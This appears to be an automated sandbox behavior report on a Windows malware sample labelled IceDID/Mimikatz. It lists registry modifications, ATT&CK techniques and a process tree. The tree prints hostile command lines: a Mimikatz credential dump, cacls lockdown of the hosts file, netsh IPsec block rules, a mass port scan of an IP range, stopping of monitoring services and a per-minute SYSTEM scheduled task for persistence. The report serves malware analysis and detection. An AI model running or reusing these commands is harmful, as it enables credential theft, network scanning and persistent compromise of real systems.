Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ascsoo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nnbuyeerm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	emzriir.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xohudmc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2024-08-14_6afeb1b4c5a2b12814db2d7cf4c1fd23_hacktools_icedid_mimikatz.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1896	cmd.exe
8	PING.EXE

NSIS installer 3 IoCs

installer

resource	yara_rule
behavioral2/files/0x000800000002349b-6.dat	nsis_installer_2
behavioral2/files/0x000a0000000233ec-15.dat	nsis_installer_1
behavioral2/files/0x000a0000000233ec-15.dat	nsis_installer_2

Modifies data under HKEY_USERS 45 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	zhcbccpzr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	zhcbccpzr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	zhcbccpzr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	zhcbccpzr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	zhcbccpzr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	zhcbccpzr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	zhcbccpzr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	zhcbccpzr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	zhcbccpzr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	zhcbccpzr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	zhcbccpzr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	zhcbccpzr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	zhcbccpzr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	zhcbccpzr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	zhcbccpzr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	zhcbccpzr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	zhcbccpzr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	zhcbccpzr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	zhcbccpzr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	zhcbccpzr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	zhcbccpzr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	zhcbccpzr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	zhcbccpzr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	zhcbccpzr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	zhcbccpzr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	zhcbccpzr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	zhcbccpzr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	zhcbccpzr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	emzriir.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	emzriir.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	emzriir.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	zhcbccpzr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	zhcbccpzr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	zhcbccpzr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	emzriir.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	emzriir.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals	zhcbccpzr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	zhcbccpzr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	zhcbccpzr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	zhcbccpzr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	zhcbccpzr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	emzriir.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	zhcbccpzr.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1"	zhcbccpzr.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump	zhcbccpzr.exe

Modifies registry class 14 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\	emzriir.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\	emzriir.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile"	emzriir.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\	emzriir.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile"	emzriir.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile"	emzriir.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\	emzriir.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile"	emzriir.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile"	emzriir.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\	emzriir.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile"	emzriir.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\	emzriir.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\	emzriir.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile"	emzriir.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
8	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3120	schtasks.exe
4972	schtasks.exe
2072	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe

Suspicious behavior: LoadsDriver 15 IoCs

pid	Process
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
4284	2024-08-14_6afeb1b4c5a2b12814db2d7cf4c1fd23_hacktools_icedid_mimikatz.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	4284	2024-08-14_6afeb1b4c5a2b12814db2d7cf4c1fd23_hacktools_icedid_mimikatz.exe
Token: SeDebugPrivilege	3916	emzriir.exe
Token: SeDebugPrivilege	3004	emzriir.exe
Token: SeDebugPrivilege	1148	vfshost.exe
Token: SeDebugPrivilege	4424	zhcbccpzr.exe
Token: SeLockMemoryPrivilege	1940	bnidgq.exe
Token: SeLockMemoryPrivilege	1940	bnidgq.exe
Token: SeDebugPrivilege	2436	zhcbccpzr.exe
Token: SeDebugPrivilege	5108	zhcbccpzr.exe
Token: SeDebugPrivilege	1440	zhcbccpzr.exe
Token: SeDebugPrivilege	1920	zhcbccpzr.exe
Token: SeDebugPrivilege	4148	zhcbccpzr.exe
Token: SeDebugPrivilege	4736	zhcbccpzr.exe
Token: SeDebugPrivilege	1572	zhcbccpzr.exe
Token: SeDebugPrivilege	3696	zhcbccpzr.exe
Token: SeDebugPrivilege	4956	zhcbccpzr.exe
Token: SeDebugPrivilege	4452	zhcbccpzr.exe
Token: SeDebugPrivilege	4308	zhcbccpzr.exe
Token: SeDebugPrivilege	4048	zhcbccpzr.exe
Token: SeDebugPrivilege	1992	zhcbccpzr.exe
Token: SeDebugPrivilege	3968	zhcbccpzr.exe
Token: SeDebugPrivilege	4668	zhcbccpzr.exe
Token: SeDebugPrivilege	4136	zhcbccpzr.exe
Token: SeDebugPrivilege	2572	zhcbccpzr.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
4284	2024-08-14_6afeb1b4c5a2b12814db2d7cf4c1fd23_hacktools_icedid_mimikatz.exe
4284	2024-08-14_6afeb1b4c5a2b12814db2d7cf4c1fd23_hacktools_icedid_mimikatz.exe
3916	emzriir.exe
3916	emzriir.exe
3004	emzriir.exe
3004	emzriir.exe
1804	xohudmc.exe
448	ascsoo.exe
4076	emzriir.exe
4076	emzriir.exe
5632	emzriir.exe
5632	emzriir.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4284 wrote to memory of 1896	4284	2024-08-14_6afeb1b4c5a2b12814db2d7cf4c1fd23_hacktools_icedid_mimikatz.exe	87
PID 4284 wrote to memory of 1896	4284	2024-08-14_6afeb1b4c5a2b12814db2d7cf4c1fd23_hacktools_icedid_mimikatz.exe	87
PID 4284 wrote to memory of 1896	4284	2024-08-14_6afeb1b4c5a2b12814db2d7cf4c1fd23_hacktools_icedid_mimikatz.exe	87
PID 1896 wrote to memory of 8	1896	cmd.exe	89
PID 1896 wrote to memory of 8	1896	cmd.exe	89
PID 1896 wrote to memory of 8	1896	cmd.exe	89
PID 1896 wrote to memory of 3916	1896	cmd.exe	96
PID 1896 wrote to memory of 3916	1896	cmd.exe	96
PID 1896 wrote to memory of 3916	1896	cmd.exe	96
PID 3004 wrote to memory of 4988	3004	emzriir.exe	98
PID 3004 wrote to memory of 4988	3004	emzriir.exe	98
PID 3004 wrote to memory of 4988	3004	emzriir.exe	98
PID 4988 wrote to memory of 428	4988	cmd.exe	100
PID 4988 wrote to memory of 428	4988	cmd.exe	100
PID 4988 wrote to memory of 428	4988	cmd.exe	100
PID 4988 wrote to memory of 4144	4988	cmd.exe	101
PID 4988 wrote to memory of 4144	4988	cmd.exe	101
PID 4988 wrote to memory of 4144	4988	cmd.exe	101
PID 4988 wrote to memory of 4788	4988	cmd.exe	102
PID 4988 wrote to memory of 4788	4988	cmd.exe	102
PID 4988 wrote to memory of 4788	4988	cmd.exe	102
PID 4988 wrote to memory of 2544	4988	cmd.exe	103
PID 4988 wrote to memory of 2544	4988	cmd.exe	103
PID 4988 wrote to memory of 2544	4988	cmd.exe	103
PID 4988 wrote to memory of 3684	4988	cmd.exe	104
PID 4988 wrote to memory of 3684	4988	cmd.exe	104
PID 4988 wrote to memory of 3684	4988	cmd.exe	104
PID 4988 wrote to memory of 4528	4988	cmd.exe	105
PID 4988 wrote to memory of 4528	4988	cmd.exe	105
PID 4988 wrote to memory of 4528	4988	cmd.exe	105
PID 3004 wrote to memory of 1452	3004	emzriir.exe	109
PID 3004 wrote to memory of 1452	3004	emzriir.exe	109
PID 3004 wrote to memory of 1452	3004	emzriir.exe	109
PID 3004 wrote to memory of 5040	3004	emzriir.exe	111
PID 3004 wrote to memory of 5040	3004	emzriir.exe	111
PID 3004 wrote to memory of 5040	3004	emzriir.exe	111
PID 3004 wrote to memory of 816	3004	emzriir.exe	113
PID 3004 wrote to memory of 816	3004	emzriir.exe	113
PID 3004 wrote to memory of 816	3004	emzriir.exe	113
PID 3004 wrote to memory of 4304	3004	emzriir.exe	118
PID 3004 wrote to memory of 4304	3004	emzriir.exe	118
PID 3004 wrote to memory of 4304	3004	emzriir.exe	118
PID 4304 wrote to memory of 4892	4304	cmd.exe	120
PID 4304 wrote to memory of 4892	4304	cmd.exe	120
PID 4304 wrote to memory of 4892	4304	cmd.exe	120
PID 4892 wrote to memory of 1544	4892	wpcap.exe	121
PID 4892 wrote to memory of 1544	4892	wpcap.exe	121
PID 4892 wrote to memory of 1544	4892	wpcap.exe	121
PID 1544 wrote to memory of 1804	1544	net.exe	123
PID 1544 wrote to memory of 1804	1544	net.exe	123
PID 1544 wrote to memory of 1804	1544	net.exe	123
PID 4892 wrote to memory of 4772	4892	wpcap.exe	124
PID 4892 wrote to memory of 4772	4892	wpcap.exe	124
PID 4892 wrote to memory of 4772	4892	wpcap.exe	124
PID 4772 wrote to memory of 4796	4772	net.exe	126
PID 4772 wrote to memory of 4796	4772	net.exe	126
PID 4772 wrote to memory of 4796	4772	net.exe	126
PID 4892 wrote to memory of 3916	4892	wpcap.exe	127
PID 4892 wrote to memory of 3916	4892	wpcap.exe	127
PID 4892 wrote to memory of 3916	4892	wpcap.exe	127
PID 3916 wrote to memory of 4676	3916	net.exe	129
PID 3916 wrote to memory of 4676	3916	net.exe	129
PID 3916 wrote to memory of 4676	3916	net.exe	129
PID 4892 wrote to memory of 4500	4892	wpcap.exe	130

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2108
- C:\Windows\TEMP\qzebsiybv\bnidgq.exe
  "C:\Windows\TEMP\qzebsiybv\bnidgq.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1940

C:\Users\Admin\AppData\Local\Temp\2024-08-14_6afeb1b4c5a2b12814db2d7cf4c1fd23_hacktools_icedid_mimikatz.exe
"C:\Users\Admin\AppData\Local\Temp\2024-08-14_6afeb1b4c5a2b12814db2d7cf4c1fd23_hacktools_icedid_mimikatz.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4284
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\znrgncrv\emzriir.exe
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1896
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:8
- - C:\Windows\znrgncrv\emzriir.exe
    C:\Windows\znrgncrv\emzriir.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:3916

C:\Windows\znrgncrv\emzriir.exe
C:\Windows\znrgncrv\emzriir.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3004
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4988
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:428
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    PID:4144
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4788
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2544
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3684
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    PID:4528
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static del all
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1452
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add policy name=Bastards description=FuckingBastards
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:5040
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filteraction name=BastardsList action=block
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:816
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\kgkufnrnc\uhbggiaeb\wpcap.exe /S
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4304
- - C:\Windows\kgkufnrnc\uhbggiaeb\wpcap.exe
    C:\Windows\kgkufnrnc\uhbggiaeb\wpcap.exe /S
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4892
  - - C:\Windows\SysWOW64\net.exe
      net stop "Boundary Meter"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1544
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Boundary Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1804
  - - C:\Windows\SysWOW64\net.exe
      net stop "TrueSight Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4772
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "TrueSight Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4796
  - - C:\Windows\SysWOW64\net.exe
      net stop npf
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3916
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4676
  - - C:\Windows\SysWOW64\net.exe
      net start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:4500
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4536
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  PID:2436
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4028
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:668
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2136
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3988
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:2240
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\kgkufnrnc\uhbggiaeb\nnbuyeerm.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\kgkufnrnc\uhbggiaeb\Scant.txt
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1256
- - C:\Windows\kgkufnrnc\uhbggiaeb\nnbuyeerm.exe
    C:\Windows\kgkufnrnc\uhbggiaeb\nnbuyeerm.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\kgkufnrnc\uhbggiaeb\Scant.txt
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:3768
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\kgkufnrnc\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\kgkufnrnc\Corporate\log.txt
  2⤵
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:1696
- - C:\Windows\kgkufnrnc\Corporate\vfshost.exe
    C:\Windows\kgkufnrnc\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:1148
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "bfgicktqy" /ru system /tr "cmd /c C:\Windows\ime\emzriir.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1176
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
